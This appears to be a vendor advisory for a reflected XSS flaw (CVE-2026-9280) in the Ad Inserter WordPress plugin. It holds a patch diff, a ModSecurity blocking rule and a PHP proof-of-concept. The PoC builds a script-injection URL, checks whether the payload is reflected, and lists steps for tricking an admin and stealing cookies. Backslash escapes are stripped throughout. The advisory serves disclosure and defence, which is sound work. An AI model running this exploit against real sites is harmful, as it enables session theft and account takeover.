-          <label for="enable-widget-<?php echo $block; ?>" title="<?php _e ('Enable widget for this block', 'ad-inserter'); ?>">
+          <label for="enable-widget-<?php echo $block; ?>" title="<?php _e ('Enable widget and Gutenberg block for this code block', 'ad-inserter'); ?>">
             <?php _e ('Widget', 'ad-inserter'); ?>
           </label>
         </td>
         <td>
-          <pre class="ai-sidebars" style= "margin: 0; display: inline; color: blue; white-space: pre-wrap; word-wrap: break-word;" title="<?php _e ('Sidebars (or widget positions) where this widget is used'); ?>"><?php echo $sidebars [$block], !empty ($sidebars [$block]) ? "  " : ""; ?></pre>
+          <pre class="ai-sidebars" style= "margin: 0; display: inline; color: blue; white-space: pre-wrap; word-wrap: break-word;" title="<?php _e ('Sidebars (or CONTENT for posts and pages) where this widget or Gutenberg block is used'); ?>"><?php echo $sidebars [$block], !empty ($sidebars [$block]) ? "  " : ""; ?></pre>
         </td>
       </tr>
       <tr>
@@ -4037,21 +4009,68 @@

 } // generate_settings_form ()

+
+function ai_find_blocks_by_name (string $content): array {
+  $found  = [];
+  $blocks = parse_blocks ($content);
+
+  $walk = function (array $blocks) use (&$walk, &$found) {
+    foreach ( $blocks as $block ) {
+      if ( $block ['blockName'] === AI_GUTENBERG_BLOCK) {
+        $found [] = $block;
+      }
+      if (!empty ($block ['innerBlocks'])) {
+        $walk ($block ['innerBlocks']);
+      }
+    }
+  };
+
+  $walk ($blocks);
+  return $found;
+}
+
+function ai_get_post_ids_with_blocks (): array {
+  global $wpdb;
+
+  $post_ids = get_transient (AI_TRANSIENT_POST_IDS);
+
+  if ($post_ids === false) {
+    $post_types   = ['post', 'page'];
+    $placeholders = implode (',', array_fill (0, count ($post_types), '%s'));
+    $like         = '%' . $wpdb->esc_like ('wp:' . AI_GUTENBERG_BLOCK) . '%';
+
+    $args = array_merge ([ $like], $post_types);
+
+    $post_ids = $wpdb->get_col (
+      $wpdb->prepare(
+        "SELECT ID FROM {$wpdb->posts}
+         WHERE post_status IN ('publish', 'pending', 'draft', 'auto-draft', 'future', 'private')
+         AND post_content LIKE %s
+         AND post_type IN ($placeholders)",
+        ...$args
+      )
+    );
+
+    set_transient (AI_TRANSIENT_POST_IDS, $post_ids, AI_TRANSIENT_POST_IDS_EXPIRATION);
+  }
+
+  return $post_ids;
+}
+
 function get_sidebar_widgets () {
+  global $wp_registered_sidebars;

   if (function_exists ('ai_sidebar_widgets')) {
     $sidebar_widgets = ai_sidebar_widgets ();
     if (is_array ($sidebar_widgets)) return $sidebar_widgets;
   }

-  $sidebar_widgets = wp_get_sidebars_widgets();
-  // 'widget_' + registered AI widget name
+  $sidebar_widgets = wp_get_sidebars_widgets ();
   $widget_options = get_option ('widget_ai_widget');

   $sidebars_with_widgets = array ();
-//  for ($block = $start; $block <= $end; $block ++){
   for ($block = 1; $block <= 96; $block ++){
-    $sidebars_with_widget [$block]= array ();
+    $sidebars_with_widgets [$block]= array ();
   }
   foreach ($sidebar_widgets as $sidebar_index => $sidebar_widget) {
     if (is_array ($sidebar_widget) && isset ($GLOBALS ['wp_registered_sidebars'][$sidebar_index]['name'])) {
@@ -4062,9 +4081,8 @@
             if (isset ($widget_id [1]) && is_numeric ($widget_id [1])) {
               $widget_option = $widget_options [$widget_id [1]];
               $widget_block = $widget_option ['block'];
-//              if ($widget_block >= $start && $widget_block <= $end && !in_array ($sidebar_name, $sidebars_with_widget [$widget_block])) {
-              if ($widget_block >= 1 && $widget_block <= 96 && !in_array ($sidebar_name, $sidebars_with_widget [$widget_block])) {
-                $sidebars_with_widget [$widget_block] []= $sidebar_name;
+              if ($widget_block >= 1 && $widget_block <= 96 && !in_array ($sidebar_name, $sidebars_with_widgets [$widget_block])) {
+                $sidebars_with_widgets [$widget_block] []= $sidebar_name;
               }
             }
           }
@@ -4073,7 +4091,75 @@
     }
   }

-  return $sidebars_with_widget;
+  // Check for gutenberg blocks in sidebars
+
+  $sidebars    = get_option ('sidebars_widgets', []);
+  $widget_data = get_option ('widget_block', []);
+
+  foreach ($sidebars as $sidebar_id => $widgets) {
+    if (!is_array ($widgets) || $sidebar_id === 'wp_inactive_widgets') {
+      continue;
+    }
+
+    $sidebar_name = $wp_registered_sidebars [$sidebar_id]['name'];
+
+    foreach ($widgets as $widget_id) {
+      // Block widgets have IDs like "block-1", "block-2", etc.
+      if (substr ($widget_id, 0, 6 ) !== 'block-') {
+        continue;
+      }
+
+      $number = (int) str_replace ('block-', '', $widget_id);
+      $content = $widget_data [$number]['content'] ?? '';
+
+      if ($content) {
+        $matches = ai_find_blocks_by_name ($content);
+
+        if ($matches) {
+          foreach ($matches as $match) {
+            $widget_block = $match ['attrs']['blockNumber'] ?? 1;
+            if ($widget_block >= 1 && $widget_block <= 96 && !in_array ($sidebar_name, $sidebars_with_widgets [$widget_block])) {
+              $sidebars_with_widgets [$widget_block] []= $sidebar_name;
+            }
+          }
+        }
+      }
+    }
+  }
+
+  // Check for gutenberg blocks in posts and pages
+
+//  $query = new WP_Query ([
+//    'post_type'      => ['post', 'page'],
+//    'post_status'    => ['publish', 'pending', 'draft', 'auto-draft', 'future', 'private'],
+//    'posts_per_page' => -1,
+//    'fields'         => 'ids',
+//  ]);
+
+//  $posts_with_blocks = $query->posts;
+
+  $posts_with_blocks = ai_get_post_ids_with_blocks ();
+
+  foreach ($posts_with_blocks as $post_id) {
+    $content = get_post_field ('post_content', $post_id);
+
+    $location_name = __('CONTENT', 'ad-inserter');
+
+    if ($content) {
+      $matches = ai_find_blocks_by_name ($content);
+
+      if ($matches) {
+        foreach ($matches as $match) {
+          $widget_block = $match ['attrs']['blockNumber'] ?? 1;
+          if ($widget_block >= 1 && $widget_block <= 96 && !in_array ($location_name, $sidebars_with_widgets [$widget_block])) {
+            $sidebars_with_widgets [$widget_block] []= $location_name;
+          }
+        }
+      }
+    }
+  }
+
+  return $sidebars_with_widgets;
 }

 function page_checker_container () {
@@ -5179,7 +5265,7 @@
 ?>
           <th style="text-align: center; padding-left: 5px; color: #999;" title="<?php _e ('PHP function call', 'ad-inserter'); ?>">fn</th>
           <th style="text-align: center; padding-left: 5px; color: #999;" title="<?php _e ('Shortcode', 'ad-inserter'); ?>">[s]</th>
-          <th style="text-align: center; padding-left: 5px; color: #999;" title="<?php _e ('Widget', 'ad-inserter'); ?>">W</th>
+          <th style="text-align: center; padding-left: 5px; color: #999;" title="<?php _e ('Widget or Gutenberg block', 'ad-inserter'); ?>">W</th>
           <th style="text-align: left; padding-left: 5px; color: #999;"><?php //_e ('Widget positions', 'ad-inserter'); ?></th>

           <th class="row" style="display: table-row; background: rgb(200 197 255 / 63%);"></th>
@@ -6136,7 +6222,7 @@

 <?php

-  switch (rand (1, 8)) {
+  switch (rand (1, 12)) {
     case 1:
     case 2:
     case 3:
@@ -6153,6 +6239,7 @@
       </div>
 <?php
       break;
+
     case 5:
     case 6:
     case 7:
@@ -6170,58 +6257,22 @@
 <?php
       break;

-//    case 9:
+    case 9:
+    case 10:
+    case 11:
+    case 12:
 ?>
-<!--      <div class="ai-form header ai-rounded">-->
-<!--        <div style="float: left;">-->
-<!--          <h2 style="display: inline-block; margin: 5px 0;"><?php _e ('Save More on AdX', 'ad-inserter'); ?></h2>-->
-<!--        </div>-->
-<!--        <div style="clear: both;"></div>-->
-<!--      </div>-->
-<!--      <div class="ai-form ai-rounded" style="height: 90px; padding: 8px 4px 8px 12px;">-->
-<!--        <a href="https://magicbid.ai/content-monetization-expert?utm_source=Plugin&utm_medium=referal&utm_campaign=Adinserter" class="clear-link" title="<?php _e ('Save More on AdX', 'ad-inserter'); ?>" target="_blank"><img id="mb-72-1" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>mb-72-1.jpg" /></a>-->
-<!--      </div>-->
-<?php
-//      break;
-//    case 10:
-?>
-<!--      <div class="ai-form header ai-rounded">-->
-<!--        <div style="float: left;">-->
-<!--          <h2 style="display: inline-block; margin: 5px 0;"><?php _e ('Save More on AdX', 'ad-inserter'); ?></h2>-->
-<!--        </div>-->
-<!--        <div style="clear: both;"></div>-->
-<!--      </div>-->
-<!--      <div class="ai-form ai-rounded" style="height: 90px; padding: 8px 4px 8px 12px;">-->
-<!--        <a href="https://magicbid.ai/content-monetization-expert?utm_source=Plugin&utm_medium=referal&utm_campaign=Adinserter" class="clear-link" title="<?php _e ('Save More on AdX', 'ad-inserter'); ?>" target="_blank"><img id="mb-72-2" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>mb-72-2.jpg" /></a>-->
-<!--      </div>-->
-<?php
-//      break;
-//    case 11:
-?>
-<!--      <div class="ai-form header ai-rounded">-->
-<!--        <div style="float: left;">-->
-<!--          <h2 style="display: inline-block; margin: 5px 0;"><?php _e ('Save More on AdX', 'ad-inserter'); ?></h2>-->
-<!--        </div>-->
-<!--        <div style="clear: both;"></div>-->
-<!--      </div>-->
-<!--      <div class="ai-form ai-rounded" style="height: 90px; padding: 8px 4px 8px 12px;">-->
-<!--        <a href="https://magicbid.ai/content-monetization-expert?utm_source=Plugin&utm_medium=referal&utm_campaign=Adinserter" class="clear-link" title="<?php _e ('Save More on AdX', 'ad-inserter'); ?>" target="_blank"><img id="mb-72-3" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>mb-72-3.jpg" /></a>-->
-<!--      </div>-->
-<?php
-//      break;
-//    case 12:
-?>
-<!--      <div class="ai-form header ai-rounded">-->
-<!--        <div style="float: left;">-->
-<!--          <h2 style="display: inline-block; margin: 5px 0;"><?php _e ('Save More on AdX', 'ad-inserter'); ?></h2>-->
-<!--        </div>-->
-<!--        <div style="clear: both;"></div>-->
-<!--      </div>-->
-<!--      <div class="ai-form ai-rounded" style="height: 90px; padding: 8px 4px 8px 12px;">-->
-<!--        <a href="https://magicbid.ai/content-monetization-expert?utm_source=Plugin&utm_medium=referal&utm_campaign=Adinserter" class="clear-link" title="<?php _e ('Save More on AdX', 'ad-inserter'); ?>" target="_blank"><img id="mb-72-4" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>mb-72-4.jpg" /></a>-->
-<!--      </div>-->
+      <div class="ai-form header ai-rounded">
+        <div style="float: left;">
+          <h2 style="display: inline-block; margin: 5px 0;">WinUp</h2>
+        </div>
+        <div style="clear: both;"></div>
+      </div>
+      <div class="ai-form ai-rounded" style="height: 90px; padding: 8px 4px 8px 12px;">
+        <a href="https://winup.network/?utm_source=ad-inserter&utm_medium=display&utm_campaign=prospeccao-maio2026&utm_content=banner-728x90" class="clear-link" title="WinUp" target="_blank"><img id="wu-72" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>wu-72.png" /></a>
+      </div>
 <?php
-//      break;
+      break;

   }
 ?>
@@ -6399,8 +6450,8 @@
 <?php   break; case 1: ?>
 <!--            <a href="https://www.ezoic.com/?utm_source=ad-inserter&utm_medium=ads&utm_campaign=ad-inserter-ads&utm_term=adinserter&utm_content=ezoic&loc=2" class="clear-link" title="<?php _e ('Looking for AdSense alternative?', 'ad-inserter'); ?>" target="_blank"><img id="ai-ez-5" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ez-5.png" /></a>-->
 <!--            <a href="https://publisher.joinads.me/conversao-en?utm_source=AdInserter&utm_medium=banner&utm_campaign=lead&utm_content=carrossel" class="clear-link" title="<?php _e ('Maximize the revenue', 'ad-inserter'); ?>" target="_blank"><img id="ja25-1-1" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ja25-1.png" /></a>-->
-            <a href='https://adinserter.pro/documentation/code-preview' class="clear-link" title="<?php _e ('Code preview with visual CSS editor', 'ad-inserter'); ?>" target="_blank"><img id="ai-preview" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ai-preview-250.png" /></a>
-<!--            <a href='https://magicbid.ai/content-monetization-expert?utm_source=Plugin&utm_medium=referal&utm_campaign=Adinserter' class="clear-link" target="_blank"><img id="mb-25-1-1" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>mb-25-1.gif" /></a>-->
+<!--            <a href='https://adinserter.pro/documentation/code-preview' class="clear-link" title="<?php _e ('Code preview with visual CSS editor', 'ad-inserter'); ?>" target="_blank"><img id="ai-preview" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ai-preview-250.png" /></a>-->
+            <a href='https://winup.network/?utm_source=ad-inserter&utm_medium=display&utm_campaign=prospeccao-maio2026&utm_content=banner-250x250' class="clear-link" target="_blank"><img id="wu-25" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>wu-25.png" /></a>
 <?php   break; case 2: ?>
 <!--            <a href='https://adinserter.pro/documentation/ad-blocking-detection' class="clear-link" title="<?php _e ('Ad blocking detection and content protection', 'ad-inserter'); ?>" target="_blank"><img id="ai-adb" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ai-adb.png" /></a>-->
             <a href="https://api.whatsapp.com/send?phone=34611051180&text=Hi%20there!%20I%27d%20like%20to%20access%20Google%20Ad%20Manager%20%f0%9f%98%8a" class="clear-link" title="<?php _e ('Join to AdManager', 'ad-inserter'); ?>" target="_blank"><img id="ai-ha-1" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ha-1.png" /></a>
@@ -6436,9 +6487,9 @@
 <?php   break;
         case 3:
         ?>
-            <a href="https://adinserter.pro/documentation/black-and-white-lists#geo-targeting" class="clear-link" title="Geotargeting - black/white-list countries" target="_blank"><img id="ai-pro-3" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ai-countries-250.png" /></a>
+<!--            <a href="https://adinserter.pro/documentation/black-and-white-lists#geo-targeting" class="clear-link" title="Geotargeting - black/white-list countries" target="_blank"><img id="ai-pro-3" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ai-countries-250.png" /></a>-->
 <!--            <a href="https://www.ezoic.com/?utm_source=ad-inserter&utm_medium=ads&utm_campaign=ad-inserter-ads&utm_term=adinserter&utm_content=ezoic&loc=2" class="clear-link" title="<?php _e ('Looking for AdSense alternative?', 'ad-inserter'); ?>" target="_blank"><img id="ai-ez-5" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ez-5.png" /></a>-->
-<!--            <a href='https://magicbid.ai/content-monetization-expert?utm_source=Plugin&utm_medium=referal&utm_campaign=Adinserter' class="clear-link" target="_blank"><img id="mb-25-2-1" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>mb-25-2.gif" /></a>-->
+            <a href='https://winup.network/?utm_source=ad-inserter&utm_medium=display&utm_campaign=prospeccao-maio2026&utm_content=banner-250x250' class="clear-link" target="_blank"><img id="wu-25" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>wu-25.png" /></a>
 <?php   break;
       } ?>
           </div>
@@ -6455,9 +6506,9 @@
 <!--            <a href='https://magicbid.ai/content-monetization-expert?utm_source=Plugin&utm_medium=referal&utm_campaign=Adinserter' class="clear-link" target="_blank"><img id="mb-25-1-2" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>mb-25-1.gif" /></a>-->
 <!--            <a href='https://v3.adxpremium.services/dashboard/register-publisher' class="clear-link" target="_blank"><img id="lm-25" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>lm-250.jpg" /></a>-->
 <?php   break; case 2: ?>
-            <a href='https://adinserter.pro/documentation/plugin-settings#recaptcha' class="clear-link" title="<?php _e ('Stop invalid traffic with reCAPTCHA v3 score check', 'ad-inserter'); ?>" target="_blank"><img id="ai-recaptcha" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ai-recaptcha-250.png" /></a>
+<!--            <a href='https://adinserter.pro/documentation/plugin-settings#recaptcha' class="clear-link" title="<?php _e ('Stop invalid traffic with reCAPTCHA v3 score check', 'ad-inserter'); ?>" target="_blank"><img id="ai-recaptcha" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ai-recaptcha-250.png" /></a>-->
 <!--            <a href="https://www.ezoic.com/?utm_source=ad-inserter&utm_medium=ads&utm_campaign=ad-inserter-ads&utm_term=adinserter&utm_content=ezoic&loc=2" class="clear-link" title="<?php _e ('Looking for AdSense alternative?', 'ad-inserter'); ?>" target="_blank"><img id="ai-ez-7" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ez-7.jpg" /></a>-->
-<!--            <a href='https://magicbid.ai/content-monetization-expert?utm_source=Plugin&utm_medium=referal&utm_campaign=Adinserter' class="clear-link" target="_blank"><img id="mb-25-1-2" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>mb-25-1.gif" /></a>-->
+            <a href='https://winup.network/?utm_source=ad-inserter&utm_medium=display&utm_campaign=prospeccao-maio2026&utm_content=banner-250x250' class="clear-link" target="_blank"><img id="wu-25" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>wu-25.png" /></a>
 <?php   break; case 3: ?>
             <a href='https://adinserter.pro/documentation/plugin-settings#recaptcha' class="clear-link" title="<?php _e ('Stop invalid traffic with reCAPTCHA v3 score check', 'ad-inserter'); ?>" target="_blank"><img id="ai-recaptcha" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ai-recaptcha-250.png" /></a>
 <!--            <a href='https://www.media.net/program?ha=e9Pw4uwo2Uw/5xjjsB3lnYZZWUI+hzRSONzDaYA9EwX+3jg/PJYwFshOFEjop5NH2wRNDfr357ZTY1zlhCk7zw%3D%3D&loc=2' class="clear-link" title="<?php _e ('Looking for AdSense alternative?', 'ad-inserter'); ?>" target="_blank"><img id="ai-media-9" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>contextual-9.gif" /></a>-->
@@ -6473,8 +6524,8 @@
 <!--            <a href="https://www.ezoic.com/?utm_source=ad-inserter&utm_medium=ads&utm_campaign=ad-inserter-ads&utm_term=adinserter&utm_content=ezoic&loc=2" class="clear-link" title="<?php _e ('Looking for AdSense alternative?', 'ad-inserter'); ?>" target="_blank"><img id="ai-ez-5" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ez-5.png" /></a>-->
 <!--            <a href="https://publisher.joinads.me/conversao-en?utm_source=AdInserter&utm_medium=banner&utm_campaign=lead&utm_content=carrossel" class="clear-link" title="<?php _e ('Maximize the revenue', 'ad-inserter'); ?>" target="_blank"><img id="ja25-2-1" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ja25-2.png" /></a>-->
 <!--            <a href="https://adinserter.pro/documentation/ad-impression-and-click-tracking" class="clear-link" title="<?php _e ('A/B testing - Track ad impressions and clicks', 'ad-inserter'); ?>" target="_blank"><img id="ai-pro-2" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ai-charts-250.png" /></a>-->
-            <a href='https://adinserter.pro/documentation/code-preview' class="clear-link" title="<?php _e ('Code preview with visual CSS editor', 'ad-inserter'); ?>" target="_blank"><img id="ai-preview" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ai-preview-250.png" /></a>
-<!--            <a href='https://magicbid.ai/content-monetization-expert?utm_source=Plugin&utm_medium=referal&utm_campaign=Adinserter' class="clear-link" target="_blank"><img id="mb-25-2-2" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>mb-25-2.gif" /></a>-->
+<!--            <a href='https://adinserter.pro/documentation/code-preview' class="clear-link" title="<?php _e ('Code preview with visual CSS editor', 'ad-inserter'); ?>" target="_blank"><img id="ai-preview" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>ai-preview-250.png" /></a>-->
+            <a href='https://winup.network/?utm_source=ad-inserter&utm_medium=display&utm_campaign=prospeccao-maio2026&utm_content=banner-250x250' class="clear-link" target="_blank"><img id="wu-25" src="<?php echo AD_INSERTER_PLUGIN_IMAGES_URL; ?>wu-25.png" /></a>
 <?php   break;
         case 1:
 ?>

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-9280
# Block reflected XSS via unescaped URL parameters in Ad Inserter iframe mode
# Targets the AJAX endpoint used for iframe requests (admin-ajax.php?action=ai_ajax)
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20269280,phase:2,deny,status:403,chain,msg:'CVE-2026-9280 - Ad Inserter Reflected XSS via iframe URL parameters',severity:'CRITICAL',tag:'CVE-2026-9280'"
  SecRule ARGS:action "@streq ai_ajax" "chain"
    SecRule QUERY_STRING "@rx (%3C|<)s*script" "t:urlDecode,chain"
      SecRule QUERY_STRING "@rx (%3E|>)s*" "t:urlDecode"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-9280 - Ad Inserter <= 2.8.15 - Reflected Cross-Site Scripting via URL Parameters in iframe Mode

// Configurable target URL: Change to the target WordPress site with Ad Inserter plugin active and iframe mode enabled
$target_url = 'http://example.com/?ai-iframe-css=1&ai-debug-code=1'; // Base URL of the vulnerable page

// The malicious payload to inject (XSS)
$payload = '<script>alert("XSS_Atomic_Edge")</script>';

// The vulnerable plugin accepts any GET parameter (except filtered ones) and embeds it into the iframe src without escaping
// We can craft a malicious parameter name that will be reflected in the iframe URL
$exploit_url = $target_url . '&evil_param=' . urlencode($payload);

echo "[+] Atomic Edge CVE-2026-9280 PoCn";
echo "[+] Target URL: $target_urln";
echo "[+] Exploit URL: $exploit_urln";
echo "[+] Testing if the vulnerable parameter is reflected...n";

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36');

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code != 200) {
    echo "[-] Failed to fetch the page, HTTP status: $http_coden";
    exit(1);
}

// Check if the payload is reflected in the response
if (strpos($response, $payload) !== false) {
    echo "[!] Vulnerability confirmed: Payload is reflected in the response!n";
    echo "[!] The XSS will execute if a victim clicks the crafted URL and has iframe mode enabled on the targeted ad block.n";
} else {
    echo "[-] Payload not found in response. The site may be patched or iframe mode may not be enabled.n";
    echo "[-] Manual verification recommended.n";
}

// Also check for the iframe element in the response to confirm iframe rendering
if (preg_match('/<iframe[^>]*src="[^"]*evil_param/', $response)) {
    echo "[+] Confirmed: The iframe src contains the unescaped parameter.n";
} else {
    echo "[-] No vulnerable iframe pattern found.n";
}

echo "n[+] Exploitation steps:n";
echo "  1. Ensure at least one ad block in the plugin settings has iframe mode enabled.n";
echo "  2. Trick an admin or user into clicking the crafted URL.n";
echo "  3. The XSS executes on the page, allowing the attacker to steal cookies, redirect, or perform actions.n";
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School